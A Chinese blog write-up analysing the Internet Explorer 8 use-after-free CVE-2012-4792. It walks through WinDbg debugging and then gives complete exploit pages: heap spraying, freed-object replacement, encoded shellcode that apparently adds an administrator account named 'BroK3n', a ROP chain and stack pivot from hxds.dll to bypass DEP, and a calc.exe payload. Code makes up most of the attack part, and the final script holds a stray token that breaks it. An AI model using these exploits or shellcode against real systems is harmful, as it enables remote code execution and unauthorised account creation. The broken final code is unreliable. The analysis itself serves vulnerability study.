欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

漏洞分析之CVE-2012-4792(UAF)

程序员文章站 2022-07-15 15:07:05
...

0x00 漏洞简介

2012年9月,通用漏洞与披露平台发布了一个存在IE浏览器的UAF漏洞。
报告指出:Microsoft Internet Explorer 6至9版本中的mshtml.dll中的CMshtmlEd::Exec函数中存在释放后使用漏洞。远程攻击者可利用该漏洞通过特制的网站,执行任意代码。

0x01 测试环境

操作系统:Windows XP sp3

浏览器:IE 8.00.6001.18702

漏洞文件:mshtml 8.00.6001.18702

调试器:windbg x86

利用windbg辅助工具设置系统堆栈调试功能

C:\Documents and Settings\Administrator>gflags.exe -I iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000
    ust - Create user mode stack trace database
    hpa - Enable page heap

0x02 漏洞验证

首先给出一段简单的poc验证CVE漏洞

<!doctype html>
<html>
<head>
<script> 
function exploit()
{
     var e0 = null;
     var e1 = null;
     var e2 = null; 
     try {
          e0 = document.getElementById("a");
          e1 = document.createElement("div");
          e2 = document.createElement("q");
          e1.applyElement(e2);
          e1.appendChild(document.createElement('button'));
          e1.applyElement(e0);
          e2.innerHTML = "";
          e2.appendChild(document.createElement('body'));
     } catch(e) { }
     CollectGarbage(); 
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>

利用windbg attach IE 后 输入g继续运行运行,点击运行阻止的内容
漏洞分析之CVE-2012-4792(UAF)
漏洞分析之CVE-2012-4792(UAF)

观察windbg中代码停止的位置
漏洞分析之CVE-2012-4792(UAF)
结果发现edi(目测是一个申请堆的地址)是无效地址,程序崩溃。
这里应该取对象的虚表时发现地址不可取
漏洞分析之CVE-2012-4792(UAF)
下面会有调用虚表中的函数操作,那才是我们需要控制程序流的地方。

0x03 漏洞原理

首先我们利用!heap –p –a edi查看堆的相关操作
漏洞分析之CVE-2012-4792(UAF)

我们从中可以看到,edi已经是释放后的堆了,这里mov eax,dword ptr[edi]
又对释放后的堆,再次使用。

下面有几个关键的问题没有解决:

  1. 什么时候创建的堆
  2. 什么时候释放的堆
  3. 什么时候使用的堆

0x1 堆的创建

为了方便查找堆的创建,在windbg加载IE后查看所有关于CButton的函数
我们可以得到一些有用的信息

0:005> x mshtml!CButton::*
6a28f234 mshtml!CButton::HandleMessage = <no type information>
6a28ee18 mshtml!CButton::s_classdescTagButton = <no type information>
6a28ed83 mshtml!CButton::GetAAtype = <no type information>
6a28f862 mshtml!CButton::GetValueHelper = <no type information>
6a28ef62 mshtml!CButton::GetEnabled = <no type information>
6a28f36a mshtml!CButton::GetThemeState = <no type information>
6a28f75d mshtml!CButton::get_status = <no type information>
6a28ee41 mshtml!CButton::CreateElement = <no type information>//很明显是一个按钮创建的过程
6a28f035 mshtml!CButton::Notify = <no type information>
6a0c4750 mshtml!CButton::s_StringTable = <no type information>
6a28f1e0 mshtml!CButton::GetFocusShape = <no type information>
6a28f8eb mshtml!CButton::SetStatusText = <no type information>
6a28f70d mshtml!CButton::put_status = <no type information>
6a28f128 mshtml!CButton::YieldCurrency = <no type information>
6a0b0d8c mshtml!CButton::GetBtnHelper = <no type information>
6a28ef95 mshtml!CButton::GetBorderInfo = <no type information>
6a28f2f0 mshtml!CButton::ClickAction = <no type information>
6a298d55 mshtml!CButton::createTextRange = <no type information>
6a28f87d mshtml!CButton::SetValueHelper = <no type information>
6a28eda5 mshtml!CButton::GetClassDesc = <no type information>
6a28f3c2 mshtml!CButton::ApplyDefaultFormat = <no type information>
6a28ef0d mshtml!CButton::GetSubmitInfo = <no type information>
6a029d70 mshtml!CButton::s_apfnpdIHTMLButtonElement = <no type information>
6a0ad720 mshtml!CButton::s_acpi = <no type information>
6a0b0338 mshtml!CButton::GetNonThemedBorderInfo = <no type information>
6a28f10b mshtml!CButton::AddCtxInfoToStream = <no type information>
6a0c4740 mshtml!CButton::s_StringTableAggregate = <no type information>
6a28f337 mshtml!CButton::GetThemeProperties = <no type information>
6a28f7a3 mshtml!CButton::GetValue = <no type information>
6a28edf4 mshtml!CButton::s_classdescButtonSubmit = <no type information>
6a28eeb8 mshtml!CButton::Init2 = <no type information>
6a188ee4 mshtml!CButton::s_apHdlDescs = <no type information>
6a188f00 mshtml!CButton::s_ppropdescsInVtblOrderIHTMLButtonElement = <no type information>
6a28ed27 mshtml!CButton::`scalar deleting destructor' = <no type information>//猜测是按钮销毁的过程
6a0c4780 mshtml!CButton::s_AssocVTablePtr = <no type information>
6a0af828 mshtml!CButton::GetElement = <no type information>
69e765f0 mshtml!CButton::`vftable' = <no type information>
6a28edd0 mshtml!CButton::s_classdescButtonReset = <no type information>
6a034f04 mshtml!CButton::`vftable' = <no type information>
6a28ed27 mshtml!CButton::`vector deleting destructor' = <no type information>
6a28ed62 mshtml!CButton::SetAAtype = <no type information>
6a28f9a6 mshtml!CButton::EnsureDefaultAttributes = <no type information>
69fe3571 mshtml!CButton::GetDBindMethods = <no type information>

在上面我们可以找到两个比较有用的函数

6a28ee41 mshtml!CButton::CreateElement = <no type information>//很明显是一个按钮创建的过程
6a28ed27 mshtml!CButton::`scalar deleting destructor' = <no type information>//猜测是按钮销毁的过程

我们对这两个地方下断点,直接利用地址进行断点设置

漏洞分析之CVE-2012-4792(UAF)

跟踪调试一下

漏洞分析之CVE-2012-4792(UAF)

我们发现了HeapAlloc函数 ,该函数位button按钮分配内存,查看一下分配的地址为0x70b2fa8
漏洞分析之CVE-2012-4792(UAF)

漏洞分析之CVE-2012-4792(UAF)
至此button的分配已经完成

0x2 堆的释放

刚刚我们把断点设在了mshtml!CButton::`scalar deleting destructor’ 函数这
漏洞分析之CVE-2012-4792(UAF)
在函数的中间我们发现了释放堆的代码,前三个压栈的是函数的参数,最后一个压栈的是要释放内存的地址0x70b2fa8 发现与申请的时候内存地址相吻合
漏洞分析之CVE-2012-4792(UAF)

漏洞分析之CVE-2012-4792(UAF)
堆的释放就结束了。

0x3 堆的重用

就在刚一开始的时候,程序崩溃的地方,访问di内存地址无效,造成的程序崩溃,成为能够控制代码执行的地方
漏洞分析之CVE-2012-4792(UAF)

0x4 与JS代码结合分析

前面一部分我们只知道了,在程序执行时汇编代码所做的的操作,如果对应到JS代码上,应该怎么理解。
这里有几个猜想

  1. e1.appendChild(document.createElement(‘button’)); 执行了HeapAlloc函数
  2. e2.outerText = “”; 把button对象释放了
  3. e2.appendChild(document.createElement(‘body’)); 是的内存重用

以上是对JS代码在堆上的操作进行的猜想。
下面修改一下验证代码,将上述payload改成如下所示

    e0 = document.getElementById("a");
    e1 = document.createElement("div");
    e2 = document.createElement("q");
    e1.applyElement(e2);
    e1.appendChild(document.createElement('button'));
    alert("init create");
    e1.applyElement(e0);
    e2.innerHTML = "";
    alert("delete?");
    e2.appendChild(document.createElement('body'));
    alert("end");

经过试验得出以下结论
e1.appendChild(document.createElement(‘button’)); 为内存初始申请
漏洞分析之CVE-2012-4792(UAF)
堆的释放和再次使用在e2.innerHTML = "";之后 和 e2.appendChild(document.createElement('body'));之后

0x04 利用代码编写

我们回到之前的程序崩溃的地方,edi中的值无效,所以取堆的dword的时候是没有值的。借着在虚表中查找函数地址,在虚表偏移0xDC的地方存在函数跳转的地址。整个正向的函数执行过程很清楚,具体是我们怎么使用这些条件。利用方法如下:

  1. 在堆中喷满shellcode代码
  2. 替换CButton对象的dword值,到自己指定函数虚表中查找(可以是0x0c0c0c0c or 0x1c1c1c1c)
  3. 在虚表的0xDC偏移处,填写指定的shellcode地址

    最后直接执行就是了

这里利用了一个关键技术,堆喷射技术,该技术是一种payload传递技术,它充分利用了javascript的特性。

0x1 堆喷射

为了控制虚表以及偏移处函数地址,我们在不知道精确地址的情况下可以采用堆喷射技术。

无DEP保护的情况

<html>
<head></head>
<body>
<script>
//堆喷射
 //Fix BSTR spec
 function alloc(bytes, mystr) {
 while (mystr.length<bytes) mystr += mystr;
 return mystr.substr(0, (bytes-6)/2);
 }

 block_size = 0x1000;
 Padding = '';
 NopSlide = '';

 var Shellcode =
unescape('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff');


 for (c = 0; c < block_size; c++){
 NopSlide += unescape('%u1c1c');} //shellcode hou
 NopSlide = NopSlide.substring(0,block_size - (Shellcode.length));

 var OBJECT = Shellcode + NopSlide;
 OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

 var evil = new Array();
 for (var k = 0; k < 0x350; k++) {
 evil[k] = OBJECT.substr(0, OBJECT.length);
 }
 alert('spray done !');
</script>
</body>
</html>

这一步只是将堆上喷满slip代码和shellcode。因为没有DEP所以不需要那么精准

DEP保护情况

先贴上精准喷射代码

<html>
<head></head>
<body>
<script>
//堆喷射
 //Fix BSTR spec
 function alloc(bytes, mystr) {
 while (mystr.length<bytes) mystr += mystr;
 return mystr.substr(0, (bytes-6)/2);
 }

 block_size = 0x1000;
 padding_size = 0xdFe; //这里必须根据自己的电脑来配置 为了对齐
 Padding = '';
 NopSlide = '';

 var Shellcode =
unescape('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff');

 for (p = 0; p < padding_size; p++){
 Padding += unescape('%u1c1c');}

 for (c = 0; c < block_size; c++){
 NopSlide += unescape('%u1c1c');} //jmp
 NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));

 var OBJECT = Padding + Shellcode + NopSlide;
 OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

 var evil = new Array();
 for (var k = 0; k < 0x350; k++) {
 evil[k] = OBJECT.substr(0, OBJECT.length);
 }
 alert('spray done !');
</script>
</body>
</html>

因为我们需要构造rop链所以,需要知道准确的跳转地址,这里我们需要一定的尝试与计算
首先我们不设置padding_size的大小

padding_size = 0x00; //offset to 0x0c0c0c0c inside our 0x1000 hex block

我们观察一下0x1c1c1c1c所处的第一个堆块的位置0x1c0e0020

漏洞分析之CVE-2012-4792(UAF)
0x1c1c1c1c距离0x1c0e00200x1c1c1c1c-0x1c0e0020=0xe1bfc
因为每一个payload的大小是0x2000,这里引用别人的一张图,表述一下现在内存的情况
漏洞分析之CVE-2012-4792(UAF)

所以这里0xe1bfc%0x2000 = 0x1bfc
又因为unescape使得两个字节成为了一个字节,所以这里在填充的时候除2
padding_size = 0xdFe
我们看一下效果,发现成功定位,下一步工作就是替换虚表地址
漏洞分析之CVE-2012-4792(UAF)

0x2 对象占位

这一步很关键,前面分析了edi为对象指针,在释放后重新使用。这一步我们见改写CButton的dword使他指向自己造的虚表,达到劫持程序流。

这里需要了解为什么会占位成功。

关于堆分配器有几件事我们需要知道:
(1)由于内存动态分配和释放,会产生堆碎片;
(2)堆内存块释放。会由前端或后端分配器回收(依赖操作系统). 分配器类似于缓存服务那样优化内存块分配。像之前提到堆分配和释放产生堆碎片(=bad),为了较少堆碎片,新分配一块内存时,堆分配器会直接返回之前释放的一块同样大小的内存。从而减少了新分配的次数(=good);
(3)虽然堆内存是动态分配,但是分配器往往会连续的分配内存块 (为了减少堆碎片)这意味着从攻击者的角度来看堆是确定的。 连续的分配内存我们就可以在某个可预测的地址上布置我们的数据。

所以我们要申请一个和以前大小一样的内存空间,前面的内存申请已经很详细了,申请了0x58字节,所以我们这里也要重复申请0x58字节大小的内存。

 for(var i = 0; i<0x550; i++)//这里必须根据自己的电脑来配置
 {
     arr_div[i]= document.createElement("div");
     arr_div[i].title= junk.substring(0,(0x58-6)/2);
 }

发现已经成功占位,eax=1c1c1c1c下一步就是call [eax+0xdc]
漏洞分析之CVE-2012-4792(UAF)

漏洞分析之CVE-2012-4792(UAF)

<!doctype html>
<html>
<head>
<script>
 var arr_div = new Array();
 var junk=unescape("%u1c1c%u1c1c");
 while (junk.length < (0x100- 6)/2)
 {
    junk+=junk;
 }
 function helloWorld() {
 var e0 = null;
 var e1 = null;
 var e2 = null;
 try {
     e0 = document.getElementById("a");
     e1 = document.getElementById("b");
     e2 = document.createElement("q");
     e1.applyElement(e2);
     e1.appendChild(document.createElement('button'));
     e1.applyElement(e0);
     e2.outerText = "";
     e2.appendChild(document.createElement('body'));
 } catch(e) { }
 CollectGarbage();
 for(var i = 0; i<0x550; i++)//这里必须根据自己的电脑来配置
 {
     arr_div[i]= document.createElement("div");
     arr_div[i].title= junk.substring(0,(0x58-6)/2);
 }
 }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>

这里有个问题,经常占位不成功,也不知道为什么。。

0x3 最终shellcode(含ROP)

无DEP:

最后写了一个没有带ROP的shellcode,能够成功劫持程序流,但不能继续执行(因为ie8自带DEP保护,必须用ROP绕过,日后再完善吧)

最后的shellcode执行流程是首先进行堆喷射,其次利用对象占位将刚刚释放的内存改写,接着就是UAF漏洞的执行了,会跳转到0x0c0c0c0c的地方去执行恶意代码

<!doctype html>
<html>
<head>
<script>
//堆喷射
 //Fix BSTR spec
 function alloc(bytes, mystr) {
 while (mystr.length<bytes) mystr += mystr;
 return mystr.substr(0, (bytes-6)/2);
 }

 block_size = 0x1000;
 padding_size = 0x5FC; //offset to 0x0c0c0c0c inside our 0x1000 hex block
 Padding = '';
 NopSlide = '';

 var Shellcode =
unescape('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff');

 for (p = 0; p < padding_size; p++){
 Padding += unescape('%u0c0c');}

 for (c = 0; c < block_size; c++){
 NopSlide += unescape('%u1c1c');} //shellcode hou
 NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));

 var OBJECT = Padding + Shellcode + NopSlide;
 OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

 var evil = new Array();
 for (var k = 0; k < 250; k++) {
 evil[k] = OBJECT.substr(0, OBJECT.length);
 }
 alert('spray done !');


var arr_div = new Array();
 var junk=unescape("%u0c0c%u0c0c");
 while (junk.length < (0x100- 6)/2)
 {
    junk+=junk;
 }
 function helloWorld() {
 var e0 = null;
 var e1 = null;
 var e2 = null;
 try {
     e0 = document.getElementById("a");
     e1 = document.getElementById("b");
     e2 = document.createElement("q");
     e1.applyElement(e2);
     e1.appendChild(document.createElement('button'));
     e1.applyElement(e0);
     e2.outerText = "";
     e2.appendChild(document.createElement('body'));
 } catch(e) { }
 CollectGarbage();
 for(var i = 0; i<0x550; i++)
 {
     arr_div[i]= document.createElement("div");
     arr_div[i].title= junk.substring(0,(0x58-6)/2);
 }
 }

</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
</body>
</html>

漏洞分析之CVE-2012-4792(UAF)

有DEP:
上述情况是在xp情况下 可以实行的应为没有windows的保护机制,而在本实验环境下是不能够实行的,在win7的ie8下有alsr以及dep的保护我们采取的措施是使用未开启alsr 的office2010的hxds.dll以及构造ROP链关闭ie8的数据保护。
使用location.href = 'ms-help://'可以让ie浏览器自动加载hxds.dll模块(一般情况下ASLR是关掉的)
漏洞分析之CVE-2012-4792(UAF)
首先让浏览器加载hxds.dll


 <!DOCTYPE html>
 <html>
 <head>
    <title>test</title>
 </head>
 <body>
 <script type="text/javascript">
    location.href = 'ms-help://';
 </script>
 </body>
 </html>

利用immunity Debugger 的mona插件寻找rop链
下面给出一种rop链的构造方法

var ropchain =   

"%u34b4%u51bf" +   //   0x51bf34b4     # POP ESI # RETN [hxds.dll] 
"%u10b8%u51bd" +   //   0x51bd10b8     # ptr to &VirtualProtect() [IAT hxds.dll]
"%u2d97%u51bd" +   //   0x51bd2d97     # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] 
"%ucba0%u51bd" +   //   0x51bdcba0     # XCHG EAX,ESI # RETN 00 [hxds.dll] 
"%u79e2%u51c3" +   //   0x51c379e2     # POP EBP # RETN [hxds.dll] 
"%u9683%u51c5" +   //   0x51c59683     # & call esp [hxds.dll]
"%u6fbd%u51c5" +   //   0x51c56fbd     # POP EAX # RETN [hxds.dll] 
"%ufdfe%ua17f" +   //   0xa17ffdfe     # put delta into eax (-> put 0x00000201 into ebx)
"%u1e01%u51c1" +   //   0x51C11E01     # ADD EAX,5E800403 # RETN [hxds.dll] 
"%u92d8%u51c3" +   //   0x51C392D8     # XCHG EAX,EBX # RETN [hxds.dll]
"%ue67d%u51bf" +   //   0x51BFE67D     # XOR EAX,EAX # RETN [hxds.dll] 
"%u6fbd%u51c5" +   //   0x51c56fbd     # POP EAX # RETN [hxds.dll] 
"%ufc3d%ua17f" +   //   0xa17ffc3d     # put delta into eax (-> put 0x00000040 into edx)
"%u1e01%u51c1" +   //   0x51C11E01     # ADD EAX,5E800403 # RETN [hxds.dll] 
"%u592b%u51bf" +   //   0x51BF592B     # XCHG EAX,EDX # RETN [hxds.dll] 
"%ucf3e%u51be" +   //   0x51becf3e     # POP ECX # RETN [hxds.dll] 
"%ud150%u51c5" +   //   0x51c5d150     # &Writable location [hxds.dll]
"%uf563%u51be" +   //   0x51bef563     # POP EDI # RETN [hxds.dll] 
"%u7402%u51c0" +   //   0x51c07402     # RETN (ROP NOP) [hxds.dll]
"%u6fbd%u51c5" +   //   0x51c56fbd     # POP EAX # RETN [hxds.dll] 
"%u9090%u9090" +   //    0x90909090     # nop
"%ua8dc%u51bd";    //   0x51BDA8DC     # PUSHAD # POP ECX # RETN [hxds.dll]

有了rop了链以及精准堆喷射,现在只需要stack pivot就OK了
同样我们使用hxds.dll中的rop构造栈翻转

var stackpivot += "%ub30e%u51c3"; // 0x51c3b30e  # RETN  [hxds.dll] (align esp)
stackpivot += "%u198c%u51be"; // 0x51be198c  # POP EBX # RETN [hxds.dll] 
stackpivot += "%u4a41%u51be"; // 0x51be4a41  # XCHG EAX,ESP # RETN  [hxds.dll]

第一次执行第三行的XCHG代码使得栈翻转到堆上第一行的位置,执行第二行的时候正好将XCHG POP进ebx中去 避免了第二次翻转

下面是完整代码

<!doctype html>
<html>
<head>
<script>
    var arr_div = new Array();
    var junk=unescape("%u0b30%u0c0c");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
    var nops=unescape("%u9090%u9090");
    while(nops.length<0x400) nops+=nops;
    while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3");
    nops+=unescape("%u198c%u51be");
    var code =unescape(
     "%u4a41%u51be%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+
     "%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+
     "%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+
     "%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+
     "%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+
     "%u9090%u9090%ua8dc%u51bd"+                                        //ROP结束
     "%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" +               //shellcode calc.exe
     "%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" +
     "%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" +
     "%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" +
     "%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" +
     "%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" +a
     "%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" +
     "%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" +
     "%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" +
     "%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" +
     "%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" +
     "%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" +
     "%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" +
     "%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" +
     "%ua4b3%u7851%u431a%u1bd2%u4162");
    var offset=0x5F4;
    var junk_offset=nops.substring(0,0x5F4);
    var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
    while(shellcode.length<0x40000)
    {
        shellcode+=shellcode;
    }
    var block = shellcode.substring(0,0x40000);
    var heap_chunks = new Array();
    for (var i=1; i < 0x700; i++) 
        heap_chunks[i] = block.substring(0,0x40000);
    //location.href = 'ms-help://';
    function helloWorld() 
    {
    //alert(1);
          var e0 = null;
          var e1 = null;
          var e2 = null;

          try 
          {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
           for(var i = 0; i<0x50; i++)
          {
               arr_div[i]= document.createElement("div");
               arr_div[i].title= junk.substring(0,(0x58-6)/2);
          }

     }

     </script>
</head>
<body onload="helloWorld()">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

0x05 实验结果

漏洞分析之CVE-2012-4792(UAF)

相关标签: cve 漏洞 ie